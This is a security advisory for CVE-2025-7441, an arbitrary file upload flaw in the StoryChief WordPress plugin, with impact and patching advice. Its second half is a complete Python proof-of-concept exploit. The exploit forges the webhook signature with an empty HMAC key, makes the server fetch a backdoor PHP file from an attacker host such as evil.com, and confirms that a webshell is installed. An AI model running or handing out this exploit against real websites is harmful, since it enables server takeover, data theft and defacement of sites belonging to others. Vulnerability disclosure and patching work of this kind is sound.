Overview
The StoryChief WordPress Plugin version 1.0.42 has been identified with a critical vulnerability, cataloged as CVE-2025-7441. This vulnerability allows for arbitrary file uploads, enabling attackers to upload malicious files to the server, potentially leading to severe security breaches.
Technical Details
The vulnerability arises from inadequate validation of file uploads within the StoryChief plugin. When a user uploads a file, the plugin fails to properly check the file type and content, allowing attackers to upload executable scripts disguised as harmless files, such as images or documents. This lack of stringent checks can be exploited through crafted requests, bypassing security measures and granting unauthorized access to the server.
Once the malicious file is successfully uploaded, attackers can execute arbitrary code, leading to further exploitation of the server environment. For instance, an attacker could upload a PHP shell, which would enable them to perform various actions, such as modifying website content, stealing sensitive data, or deploying additional malware.
Impact
The consequences of this vulnerability are profound. Organizations utilizing the StoryChief plugin may find their websites compromised, resulting in data breaches, defacement, and loss of user trust. Additionally, the uploaded malicious files could serve as a platform for launching further attacks on connected systems, amplifying the risk across the network infrastructure.
Mitigation
To protect against CVE-2025-7441, it is crucial for organizations to update the StoryChief plugin to the latest version that addresses this vulnerability. Security professionals should regularly monitor plugin updates and apply patches promptly to minimize exposure to known vulnerabilities.
Furthermore, implementing a robust file upload restriction policy can significantly reduce risks. This includes configuring web application firewalls (WAF) to filter and block suspicious file types and utilizing server-side validation to ensure only safe files are accepted. Regular security audits and penetration testing can also help identify and remediate vulnerabilities before they can be exploited.
Proof of Concept (PoC)
# Exploit Title: StoryChief Wordpress Plugin 1.0.42 - Arbitrary File Upload
# Exploit Author: xpl0dec
# Vendor Homepage: https://www.storychief.io/wordpress-content-scheduler
# Software Link: https://github.com/Story-Chief/wordpress/
# Version: <= 1.0.42
# Tested on: Linux
# CVE : CVE-2025-7441
# CVSS Score : 9.8
# Step to reproduce :
# 1. Create a file with the .php extension and fill it with:
# <?php
# header(“Content-Type: image/jpeg”);
# echo “<?php phpinfo(); ?>”;
# ?>
# 2. Adjust the echo phpinfo section as needed
# 3. Host it on a VPS/web server with the name you want to upload, for example backdoor.php
# 4. The second argument is the URL of the backdoor created earlier, e.g., http://evil.com/backdoor.php
# 5. Then run the exploit: python3 CVE-2025-7441.py <wordpress_url> <backdoor_url>
from datetime import datetime
import requests
import json
import hmac
import hashlib
import sys
import time
import os
def banner():
print(r"""
_ _ ____ _____ _ _ _____ _ __ ____ _ __ __
| | |/ ___| ____| | | | ____| |/ / | _ / \ / /
| | | | _| _| | |_| | _| | ' / | | | |/ _ \ V /
| | | |_| | |___| _ | |___| . | |_| / ___ | |
|_| _|____|_____|_| |_|_____|_|_ |____/_/ __|
PoC exploit CVE-2025-7441 by xpl0dec
""")
if __name__ == "__main__":
banner()
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <target_url> <backdoor_url>")
sys.exit(1)
url = sys.argv[1] + "/wp-json/storychief/webhook"
dummy = {
"meta": {
"event": "publish"
},
"data": {
"featured_image": {
"data": {
"sizes": {
"full": sys.argv[2]
}
}
}
}
}
json_string = json.dumps(dummy, separators=(',', ':'), ensure_ascii=True)
json_string = json_string.replace("/", "\/").encode()
signature = hmac.new(
"".encode(),
json_string,
digestmod=hashlib.sha256
).hexdigest()
headers = {
"Content-Type": "application/json"
}
payload = {
"meta": {
"mac" : signature,
"event": "publish"
},
"data": {
"featured_image": {
"data": {
"sizes": {
"full": sys.argv[2]
}
}
}
}
}
print("[+] get hmac... [+]")
time.sleep(2)
print("hmac : " + signature)
response = requests.post(url, headers=headers, data=json.dumps(payload))
if "permalink" in response.text:
print("[+] Response Success [+]")
time.sleep(2)
print("[+] Check backdoor from uploaded... [+]")
current_datetime = datetime.now()
month = str(current_datetime.month).zfill(2)
year = current_datetime.year
file_backdoor = os.path.basename(sys.argv[2])
get_backdoor = requests.get(sys.argv[1] + f"/wp-content/uploads/{year}/{month}/{file_backdoor}")
if get_backdoor.status_code == 200:
print("[+] Exploitation Success [+]")
time.sleep(2)
print("webshell uploaded in : " + sys.argv[1] + f"/wp-content/uploads/{year}/{month}/{file_backdoor}")